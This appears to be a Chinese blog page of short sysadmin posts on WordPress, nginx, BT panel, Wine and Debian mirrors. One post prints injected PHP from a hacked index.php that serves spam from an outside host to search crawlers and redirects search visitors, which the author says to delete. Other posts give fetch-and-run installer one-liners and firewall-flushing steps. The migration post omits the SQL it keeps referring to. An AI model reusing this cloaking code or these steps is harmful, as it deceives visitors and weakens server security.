逆流成河
我们一起努力成长...

完美织梦DEDECMS转WORDPRESS方法

逆流成河阅读(628)

使用织梦CMS每个月都被黑,打完官方最新补丁不久又有漏洞继续被黑,算是受够了,果断把网站从天杀的dedecms中搬家到wordpress程序,网上搜索转换教程,折腾几个小时,顺利把网站的文章转移到wordpress程序,保留了文章点击数、文章日期、文章分类,文章标签的数据表着实弄不过来,只能放弃!下面是具体的操作方法,操作前请备份好网站数据。

1、DEDECMS文章标题等基本数据导入wordpress站点

织梦CMS的文章标题、正文和栏目分别存放在三个不同的数据表中,而wordpress则把文章标题和正文放在一个数据表,栏目(分类目录)放在另一个数据表中,为了简化后面的工作,第一步是制作生成织梦CMS的全站RSS文件(制作方法:http://www.boke8.net/dedecms-echo-all-post-rss.html),然后通过wordpress程序后台——工具——导入——RSS,上传导入生成的织梦全站RSS文件。

这样就可以使wordpress在wp_posts数据表上生成文章标题,在wp_terms数据表上生成文章分类,并匹配起来,此外通过RSS导入,wp_posts数据表上还导入了文章摘要、日期、自定义网址等数据,但是RSS不会导入全文!

2、导入织梦CMS文章全文到wordpress站点

织梦文章的数据存储在dede_addonarticle数据库的body字段中,现在需要把body字段的内容转到wordpress数据库的wp_posts数据库的post_content字段里。

这个转换需要使用一个桥梁——那就是dede_archives数据表,即dede_addonarticle上body的内容先转到dede_archives上,再从dede_archives转到wp_posts的post_content里。这两次转换的匹配点,分别是织梦里的文章id,以及Wordpress里已经导入了的文章标题(这与织梦里的文章标题是一样的)。

具体的操作步骤如下:

进入phpmyadmin,选择dedecms网站使用的数据库,在SQL输入框中执行以下SQL语句,在织梦数据库的dede_archives表上,添加字段body:

然后再执行以下SQL语句把dede_addonarticle数据表中的body字段内容导入到dede_archives的body字段,语句以dede_addonarticle的aid和dede_archives的id为匹配点:

接着通过phpmyadmin导出功能把dede_archives数据表导出,然后再通过导入功能把该数据表导入wordpress网站使用的数据库中,使其与wp_posts数据库处在同一个数据库里。

下面再次使用SQL语句把dede_archives的body导入到wp_posts上的post_content上,以文章标题为匹配点(前提是文章标题都是唯一的):

至此文章内容部分转换完成!

3、织梦CMS文章点击数导入wordpress网站

织梦CMS的文章有点击数(即是文章的阅读数),不导入wordpress怪可惜。

在wordpress上安装Simple Hit Counter插件,启用后数据库里会生成wp_hitcount表,在SQL输入框中执行以下语句在增加hits字段:

执行以下SQL语句,把dede_archives上的点击数click导入到wp_posts的hits上,仍然以标题为匹配点:

最后执行以下SQL语句把wp_posts的hits导入到wp_hitcount的hits上,这次以wp_posts的ID和wp_hitcount的pid为匹配点:

至此点击数转换完成,然后在模板中添加Simple Hit Counter插件调用代码即可。

附:我习惯使用wp-postviews插件,所以我是把织梦CMS文章点击数转换为wp-postviews插件的浏览数。但是由于该插件需要文章有浏览数之后才会在数据库中生成meta_key的值,因此需要先在wp_postmeta表中添加对应的meta_key的值。

执行以下SQL语句,把文章ID导入wp_postmeta中的post_id字段:

执行以下SQL语句,把上面添加的post_id中的meta_key字段的null设置为views值:

执行以下SQL语句,把上面添加的post_id中的meta_value字段的null设置为0值:

然后再把wp_posts的hits导入到wp_postmeta数据表中的meta_key字段的值views对应的meta_value,SQL语句如下:

WooCommerce默认页面安装

逆流成河阅读(530)

  • WooCommerce首次安装
    在初次安装woocommerce时,WooCommerce会根据向导自动创建以下新页面:

    商店 – 不需要任何内容
    购物车 – 包含 woocommerce_cart 短码并显示购物车内容
    结帐 – 包含 woocommerce_checkout 短码,并显示信息,如配送和付款选项
    我的帐户 – 包含 woocommerce_my_account 短码,并显示与帐户,订单等相关的每位客户的信息

重新安装WooCommerce默认页面

在首次安装WooCommerce时,您可能会点击“跳过此步骤”快速进入到WooCommerce的使用。但是您可能会发现默认的WooCommerce页面怎么没有了呢。

下面我们来重新安装以下WooCommerce的默认页面。

依次点击WooCommerce->状态。进入到WooCommerce状态页面时,选择“工具“选项。详情请见下图

将页面向下滚动找到“创建默认的 WooCommerce 页面”选项,通过点击“创建页面”按钮来生成WooCommerce默认页面,详情见下图、

这时您就会发现WooCommerce的默认页面回来了。

设置WooCommerce使用页面

如果从向导中安装了页面,WooCommerce将会为您设置此功能,但是,如果您设置新页面,或者想要更改用于诸如购物车和结帐之类的页面,则需要告诉WooCommerce要使用哪些页面。

要告诉WooCommerce用于购物车和结帐的什么页面前往WooCommerce>设置>高级。

本次WooCommerce教程到这里就结束了,希望本篇教程能够帮助到您。谢谢

安装WordPress主题或插件导致网站崩溃了该怎么办?

逆流成河阅读(470)

安装WordPress主题或插件后,网站崩溃了,该怎么办?这是不少WordPress新手比较困惑的问题。倡萌就简单说一下排查的思路。

案例:WordPress 前后台一片空白

为什么WordPress会崩溃?
安装主题或插件导致WordPress崩溃,一般都是兼容问题:

这个主题或插件的代码存在错误(一般是某些PHP语法错误)
主题或插件的代码没有问题,但是和你安装的其他插件或主题冲突(可能是两者的某些功能重复,导致冲突)
这个主题或插件和WordPress自身冲突(多半是因为插件许久没有更新,出现较大的不兼容)
如何恢复网站正常?
如果可以访问WordPress后台,就直接禁用导致错误的主题或插件
如果没办法访问WordPress后台,可以通过 FTP 删除 导致错误的主题或插件
如果以上方法都不行,那就是比较严重了,一般情况下,应该会出现一些错误提示,你可以通过Google搜索 错误信息,通常都会有相关的说明和解决办法。
如何预防该问题?
在进行安装主题或插件前,备份好你的数据库。

避免使用长期没有更新的插件或主题,所谓的破解主题或插件。

安装主题前,请禁用所有插件。

centos7环境下如何安装nginx

逆流成河阅读(524)

在当前各种管理面板、微服务臭大街的情况下,每天仍然还会有很多人在 百度 怎么在centos下怎么安装nginx,其实没有对错,各有优缺点,这里简单罗列了一下在centos下安装nginx的教程,望大神指正。

一、安装前需要的编译 环境 准备

1、安装make

yum install -y gcc automake autoconf libtool make

2、安装gcc、gcc-c++

yum install -y gcc gcc-c++

3、关闭防火墙

iptables -F

4、关闭selinux

#临时关闭:setenforce 0 #临时关闭seLinuxgetenforce #查看seLinux状态#永久关闭:vim /etc/sysconfig/selinux  7 SELINUX=disabled

centos7环境下如何安装nginx

二、下载文件及选择安装文件目录

安装nginx需要四个包,分别为PCRE源码包、zlib源码包、openssl、nginx

1、选择安装文件目录

nginx可以安装到任意一个目录下,本文选择的是 /usr/local/src

2、下载及安装PCRE

1 cd /usr/local/src2 wget https://ftp.pcre.org/pub/pcre/pcre-8.39.tar.gz #可以选择其他版本3 tar -zvxf pcre-8.39.tar.gz4 cd pcre-8.395 ./configure6 make7 make install

3、下载及安装zlib

1 cd /usr/local/src2 wget http://zlib.net/zlib-1.2.11.tar.gz3 tar -zxvf zlib-1.2.11.tar.gz4 cd zlib-1.2.115 ./configure6 make7 make install

4、安装openssl

yum -y install openssl openssl-devel

5、下载及安装nginx

cd /usr/local/srcwget http://nginx.org/download/nginx-1.6.3.tar.gztar -zxvf nginx-1.6.3.tar.gzcd nginx-1.6.3./configuremakemake install

三、 启动nginx

1、修改nginx端口

nginx默认使用的是80端口,有可能apeache会占用80端口,我们修改一下nginx端口

vim /usr/local/nginx/conf/nginx.conf

centos7环境下如何安装nginx

2、查看端口

netstat -ano|grep 80sudo /usr/local/nginx/nginx

3、启动nginx

启动代码格式: nginx安装目录 -c nginx配置文件

/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf

4、强制停止nginx

pkill -9 nginx

5、重启nginx

/usr/local/nginx/sbin/./nginx -s reload

四、配置别名

1 vim /etc/profile2 #加在文件最后3 alias nginxstart=x27;/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.confx27;4 alias nginxstop=x27;pkill -9 nginxx27;5 alias nginxrestart=x27;/usr/local/nginx/sbin/./nginx -s reloadx27;source /etc/profile #应用这几个别名

注意:

nginx开始命令:nginxstart

nginx强制关闭命令:nginxstop

nginx重启命令:nginxrestart

关于来自搜索引擎及快照网站恶意跳转

hao123阅读(2232)

<?php
set_time_limit(0);
if(stripos($_SERVER[“HTTP_USER_AGENT”],”baiduspider”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”Googlebot”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”360Spider”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”Sosospider”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”HaoSouSpider”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”sogou spider”) == true){
header(“Content-type: text/html; charset=gb2312”);
$file = file_get_contents(“http://wwwwroot.com/index.php?sd”);
echo $file;exit;
}
if(stristr(@$_SERVER[“HTTP_REFERER”],”baidu.com”)||stristr(@$_SERVER[“HTTP_REFERER”],”google”)||stristr(@$_SERVER[“HTTP_REFERER”],”so.com”)||stristr(@$_SERVER[“HTTP_REFERER”],”Soso”) || stristr(@$_SERVER[“HTTP_REFERER”],”HaoSou”)||stristr(@$_SERVER[“HTTP_REFERER”],”sogou”)){
header(“Location:https://www.s36wan.com”);exit;
}
?><?php
/**
* Front to the WordPress application. This file doesn’t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( ‘WP_USE_THEMES’, true );

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . ‘/wp-blog-header.php’ );

经过分析,由于跳转是针对搜索引擎,直接删除即可!

}
if(stristr(@$_SERVER[“HTTP_REFERER”],”baidu.com”)||stristr(@$_SERVER[“HTTP_REFERER”],”google”)||stristr(@$_SERVER[“HTTP_REFERER”],”so.com”)||stristr(@$_SERVER[“HTTP_REFERER”],”Soso”) || stristr(@$_SERVER[“HTTP_REFERER”],”HaoSou”)||stristr(@$_SERVER[“HTTP_REFERER”],”sogou”)){
header(“Location:https://www.s36wan.com”);exit;
}

WordPress如何简单设置全站链接都新窗口打开

逆流成河阅读(732)

文章中需要在新的窗口打开链接大概需要在几个地方

1.网站友情链接

2.文章中的超链接

3.评论链接

4.网站导航链接

5.网站子导航链接

6.网站其他内链

以上加粗的两个是非常重要的,我们为什么要设置WordPress网站全站超链接都要设置新窗口打开方式呢?学过SEO的同学们应该都知道,以新窗口打开超链接,原先点开的网站都会停留在浏览器顶部,紧挨着现在这个页面的旁边,SEO里面有种优化方法就叫做:跳出率,跳出率是什么呢?跳出率就是一个用户在访问网站的时候能再你这个页面停留多久,听得越久越好(这是人为结出的思想),当然BaiDuspider(百度蜘蛛)他也有相当于人的一种判断,在它的程序里,用户在页面当中停留的越久表示这个页面对用户需求越满足,百度蜘蛛自然而然就会判断你这个页面具有可读性,是受用户喜爱的,本来SEO就是要做到用户体验嘛。而设置新窗口打开连接就是为了在新的窗口中打开链接有助于网站降低网站的跳出率,提高读者的页面访问时长。尤其是友情链接,如果直接跳转,用户可能今天再也不会回来咯,人都是具有惰性的嘛,这样一来的话损失比较大。讲了这么多 总结几个字:

TMD跳出率很重要
噼里啪啦的讲了那么多,其实我就是想把最直接最平行最贴切的知识,最温柔的教授给大家(大牛绕过),下面,放教程吧。

打开wordpress后台,点击外观->点击编辑->打开hearder.php, 在 <head>标签后面加上一句<base target=”_blank”>

如下图:


WordPress设置全站链接新窗口打开

OK,搞定了
———————

原文链接:https://blog.csdn.net/qq_42240910/article/details/80687660

deepin15.9升级wine4.0

逆流成河阅读(2749)

deepin进行wine4.0安装:
1、添加仓库,以管理员身份进入/etc/apt/sources.list 填入 :deb https://dl.winehq.org/wine-builds/debian/ stretch main ,然后保存退出。
2、更新安装包:sudo apt get update
3、安装wine4.0 稳定版:sudo apt install –install-recommends winehq-stable
4、安装完成后查看wine版本:wine –version
遇到以下问题,附解决方法:
附:
1、如出现NO_PUBKEY问题,使用下条命令获取KEY(XXXXXXXX替换为缺少的KEY编号。):sudo apt-key adv –recv-keys –keyserver keyserver.ubuntu.com XXXXXXXX

2、如提示没有找到安装路径则手动添加:/var/lib/dpkg 新建info文件夹

安装宝塔BT控制面板 linux全命令合集

逆流成河阅读(834)

安装宝塔

Centos安装脚本

yum install -y wget && wget -O install.sh http://download.bt.cn/install/install.sh && sh install.sh

Ubuntu/Deepin安装脚本

wget -O install.sh http://download.bt.cn/install/install-ubuntu.sh && sudo bash install.sh

Debian安装脚本

wget -O install.sh http://download.bt.cn/install/install-ubuntu.sh && bash install.sh

Fedora安装脚本

wget -O install.sh http://download.bt.cn/install/install.sh && bash install.sh

管理宝塔

停止

/etc/init.d/bt stop

启动

/etc/init.d/bt start

重启

/etc/init.d/bt restart

卸载

/etc/init.d/bt stop && chkconfig --del bt && rm -f /etc/init.d/bt && rm -rf /www/server/panel

查看当前面板端口

cat /www/server/panel/data/port.pl

修改面板端口,如要改成8881(centos 6 系统)

echo '8881' > /www/server/panel/data/port.pl && /etc/init.d/bt restart
iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 8881 -j ACCEPT
service iptables save
service iptables restart

修改面板端口,如要改成8881(centos 7 系统)

echo '8881' > /www/server/panel/data/port.pl && /etc/init.d/bt restart
firewall-cmd --permanent --zone=public --add-port=8881/tcp
firewall-cmd --reload

强制修改MySQL管理(root)密码,如要改成123456

cd /www/server/panel && python tools.py root 123456

修改面板密码,如要改成123456

cd /www/server/panel && python tools.py panel 123456

查看宝塔日志

cat /tmp/panelBoot.pl

查看软件安装日志

cat /tmp/panelExec.log

站点配置文件位置

/www/server/panel/vhost

删除域名绑定面板

rm -f /www/server/panel/data/domain.conf

清理登陆限制

rm -f /www/server/panel/data/*.login

查看面板授权IP

cat /www/server/panel/data/limitip.conf

关闭访问限制

rm -f /www/server/panel/data/limitip.conf

查看许可域名

cat /www/server/panel/data/domain.conf

关闭面板SSL

rm -f /www/server/panel/data/ssl.pl && /etc/init.d/bt restart

查看面板错误日志

cat /tmp/panelBoot

查看数据库错误日志

cat /www/server/data/*.err

站点配置文件目录(nginx)

/www/server/panel/vhost/nginx

站点配置文件目录(apache)

/www/server/panel/vhost/apache

站点默认目录

/www/wwwroot

数据库备份目录

/www/backup/database

站点备份目录

/www/backup/site

站点日志

/www/wwwlogs

Nginx服务管理

nginx安装目录

/www/server/nginx

启动

/etc/init.d/nginx start

停止

/etc/init.d/nginx stop

重启

/etc/init.d/nginx restart

启载

/etc/init.d/nginx reload

nginx配置文件

/www/server/nginx/conf/nginx.conf

Apache服务管理

apache安装目录

/www/server/httpd

启动

/etc/init.d/httpd start

停止

/etc/init.d/httpd stop

重启

/etc/init.d/httpd restart

启载

/etc/init.d/httpd reload

apache配置文件

/www/server/apache/conf/httpd.conf

MySQL服务管理

mysql安装目录

/www/server/mysql

phpmyadmin安装目录

/www/server/phpmyadmin

数据存储目录

/www/server/data

启动

/etc/init.d/mysqld start

停止

/etc/init.d/mysqld stop

重启

/etc/init.d/mysqld restart

启载

/etc/init.d/mysqld reload

mysql配置文件

/etc/my.cnf

FTP服务管理

ftp安装目录

/www/server/pure-ftpd

启动

/etc/init.d/pure-ftpd start

停止

/etc/init.d/pure-ftpd stop

重启

/etc/init.d/pure-ftpd restart

ftp配置文件

/www/server/pure-ftpd/etc/pure-ftpd.conf

PHP服务管理

php安装目录

/www/server/php

启动(请根据安装PHP版本号做更改,例如:/etc/init.d/php-fpm-54 start)

/etc/init.d/php-fpm-{52|53|54|55|56|70|71} start

停止(请根据安装PHP版本号做更改,例如:/etc/init.d/php-fpm-54 stop)

/etc/init.d/php-fpm-{52|53|54|55|56|70|71} stop

重启(请根据安装PHP版本号做更改,例如:/etc/init.d/php-fpm-54 restart)

/etc/init.d/php-fpm-{52|53|54|55|56|70|71} restart

启载(请根据安装PHP版本号做更改,例如:/etc/init.d/php-fpm-54 reload)

/etc/init.d/php-fpm-{52|53|54|55|56|70|71} reload

配置文件(请根据安装PHP版本号做更改,例如:/www/server/php/52/etc/php.ini)

/www/server/php/{52|53|54|55|56|70|71}/etc/php.ini

Redis服务管理

redis安装目录

/www/server/redis

启动

/etc/init.d/redis start

停止

/etc/init.d/redis stop

redis配置文件

/www/server/redis/redis.conf

Memcached服务管理

memcached安装目录

/usr/local/memcached

启动

/etc/init.d/memcached start

停止

/etc/init.d/memcached stop

重启

/etc/init.d/memcached restart

启载

/etc/init.d/memcached reload

从CentOS转Debian的思考

逆流成河阅读(1145)

接触Linux到现在已有五年。刚开始使用的是Ubuntu,那时候的界面还是Gnome2,和windows界面比较类似。除了命令行使用不习惯外,其他也没有什么特别。当然,那也只是作为一个玩具罢了。后来需要Linux作为科研环境,开始使用CentOS。她比Ubuntu更稳定,当然更简洁,没有花哨的界面、特效,特别适合作服务器系统使用,实验室的服务器系统都选择CentOS。

然后自己对CentOS特别熟悉,除了不能打游戏外,其它都能满足。特别满意的是,使用CentOS作为桌面系统后再也不需要应付:弹窗、被QQ打扰、流氓软件和杀毒软件。使用CentOS作为桌面系统的另外两个非常大的好处是文档处理和编程特别方便。

使用CentOS有两个比较大的缺点:

  • 为求稳定,软件和库比较旧
  • 没有很好用的输入法,如搜狗输入法、谷歌输入法,当然我也尝试过安装fcitx,但bug特别多

后来,又尝试了其他的发行版,如Fedora、Archlinux等等。发现他们都不能完美符合自己的要求。Debian号称Linux发行版之源,很多发行版都是基于Debian修改的,如大名鼎鼎的Ubuntu。安装过好几次都不能很好的安装一些软件,如为知笔记和搜狗输入法,又放弃了。

经过思考,问题不在于选择CentOS还是Debian,而在于自己没有尽力去尝试解决出现的问题。没有尽力尝试,遇到问题就思考着放弃,选择原来保守方法,就不会有突破,也不能认识问题的本质,更不能创新。Linux各个发行版只是安装的库版本不同,内核还是一样的。因此,我又安装一次Debian,并选择最新的版本Debian9。将每个需要的软件都尝试安装,如为知笔记、Calibre、Xmind、WPS等等。遇到问题就百度和谷歌,并将其一一解决。

然后,我的桌面系统变成了Debian,她和CentOS7没有很大的区别,都是Gnome3,安装了同样的插件,如pomodoro和panelfavorites。最关键的是还可以使用搜狗输入法,flashplayer都可以自动安装。

从这个过程,我认识自己的问题。很多时候自己特别懒,这个懒不是在劳力上,而是在思想上 — 自己不愿意动脑筋去解决问题,而宁愿抱残守缺。我们和其他动物最大的优势是我们的大脑更发达,我们可以进行深入的思考,学会使用工具,借助各种力量去解决问题。我们不可将这个优势丢弃,脑越用越活,要进行不断的刻意训练,让她反应更快,更有深度。

接下来分享一些安装Debian后的优化。

  • 首先修改更新源:gedit /etc/apt/source.list
deb http://mirrors.163.com/debian/ stretch main non-free contrib
deb http://mirrors.163.com/debian/ stretch-updates main non-free contrib
deb http://mirrors.163.com/debian/ stretch-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ stretch main non-free contrib
deb-src http://mirrors.163.com/debian/ stretch-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ stretch-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ stretch/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ stretch/updates main non-free contrib
  • 删除不需要的软件并使用gnome-tweak-tool修改外观
  • 更新和安装插件
apt-get update && apt upgrade
apt-get install gnome-shell-extension-top-icons-plus gnome-shell-pomodoro gnome-shell-pomodoro-data stardict
  • 安装中文输入法
apt-get install fcitx-ui-classic && apt-get install fcitx-ui-light
  • 再安装其他软件,如vncviewer、为知笔记、星际译王、Calibre、Xmind和WPS

重启。

附一张自己桌面图

debian 10.0 sources.list更换源及自动更新

逆流成河阅读(4745)

首先切换到root账号:

su root

由于很多编辑器权限不够建议使用gedit修改

gedit /etc/apt/sources.list

sudo apt edit-sources 或是 sudoedit /etc/apt/sources.list都可以
这是我的:
deb https://mirrors.ustc.edu.cn/debian unstable main contrib non-free
deb https://mirrors.ustc.edu.cn/debian experimental main contrib non-free

deb https://mirrors.ustc.edu.cn/debian/ buster main contrib non-free
deb https://mirrors.ustc.edu.cn/debian/ buster-updates main contrib non-free
deb https://mirrors.ustc.edu.cn/debian/ buster-proposed-updates main contrib non-free
deb https://mirrors.ustc.edu.cn/debian-security/ buster/updates main contrib non-free

deb https://mirrors.ustc.edu.cn/debiancn/ buster main
deb https://mirrors.ustc.edu.cn/deb-multimedia/ buster main non-free
前两个需要设置优先级权值 后两个需要下载各自keyring安装 如果不懂就只看中间四个好了 注意把版本号调成你自己需要的

以下是源方案二:

把其他的全部注释掉(#),用163的镜像,速度嗖嗖的。
deb http://mirrors.163.com/debian/ stretch main non-free contrib
deb http://mirrors.163.com/debian/ stretch-updates main non-free contrib
deb http://mirrors.163.com/debian/ stretch-backports main non-free contrib

deb-src http://mirrors.163.com/debian/ stretch main non-free contrib
deb-src http://mirrors.163.com/debian/ stretch-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ stretch-backports main non-free contrib

deb http://mirrors.163.com/debian-security/ stretch/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ stretch/updates main non-free contrib

天猫大额优惠券

立即领取电脑配置清单
×
订阅图标按钮